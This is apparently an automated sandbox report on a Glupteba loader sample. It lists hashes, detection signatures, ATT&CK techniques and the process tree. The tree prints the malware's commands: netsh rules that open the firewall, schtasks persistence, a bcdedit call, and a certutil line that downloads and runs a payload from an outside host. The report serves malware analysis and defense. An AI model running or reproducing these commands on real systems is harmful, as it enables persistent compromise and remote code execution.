Overview

overview

10

Static

static

3

bd1e4a8d49...18.exe

windows7-x64

10

bd1e4a8d49...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-06-2024 17:27

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General

  • Target

    bd1e4a8d49e969a96e5a19ae48d28f30_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    bd1e4a8d49e969a96e5a19ae48d28f30

  • SHA1

    0cce2f877b8aa7e48a7bbba620de8aa5978d1651

  • SHA256

    ee9213aa09f3c999b922dd394259f709e29df15a4b78941554cf04059a24afe6

  • SHA512

    be7471292a89646841074fc739a02baea1b6b2a9cb747ff9411ee8dc639edf06bd732cf47e71459fd50788683c06cb9ecf6ec03df659700f8d9d8032da956898

  • SSDEEP

    98304:+VncEEVop1PzWrzlZHgqxtGoBTAOrIPzdjniETvoW1MwT:hoLSftx4oBTAmqTB

Score
10/10
gluptebadiscoverydropperevasionloaderpersistenceprivilege_escalationrootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 22 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd1e4a8d49e969a96e5a19ae48d28f30_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\bd1e4a8d49e969a96e5a19ae48d28f30_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4952
    • C:\Users\Admin\AppData\Local\Temp\bd1e4a8d49e969a96e5a19ae48d28f30_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\bd1e4a8d49e969a96e5a19ae48d28f30_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f36ddff29a64\f36ddff29a64.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1384
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f36ddff29a64\f36ddff29a64.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3440
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4724
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1000
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1196
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4248
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4940
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3920

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Event Triggered Execution

1
T1546

Netsh Helper DLL

1
T1546.007

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit
  • C:\Windows\rss\csrss.exe
    Filesize

    3.7MB

    MD5

    bd1e4a8d49e969a96e5a19ae48d28f30

    SHA1

    0cce2f877b8aa7e48a7bbba620de8aa5978d1651

    SHA256

    ee9213aa09f3c999b922dd394259f709e29df15a4b78941554cf04059a24afe6

    SHA512

    be7471292a89646841074fc739a02baea1b6b2a9cb747ff9411ee8dc639edf06bd732cf47e71459fd50788683c06cb9ecf6ec03df659700f8d9d8032da956898

    Download Submit
  • memory/2696-27-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-28-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-19-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-33-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-31-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-30-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-29-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-23-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-26-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-18-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-34-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-32-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-25-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2696-24-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2816-10-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2816-16-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2816-9-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/2816-8-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4952-1-0x0000000001770000-0x0000000001B1C000-memory.dmp
    Filesize

    3.7MB

    Download
  • memory/4952-3-0x0000000000400000-0x0000000000B16000-memory.dmp
    Filesize

    7.1MB

    Download
  • memory/4952-4-0x0000000000400000-0x0000000001319000-memory.dmp
    Filesize

    15.1MB

    Download
  • memory/4952-2-0x0000000001B20000-0x000000000221C000-memory.dmp
    Filesize

    7.0MB

    Download
  • memory/4952-6-0x0000000001B20000-0x000000000221C000-memory.dmp
    Filesize

    7.0MB

    Download
  • memory/4952-5-0x0000000000400000-0x0000000000B16000-memory.dmp
    Filesize

    7.1MB

    Download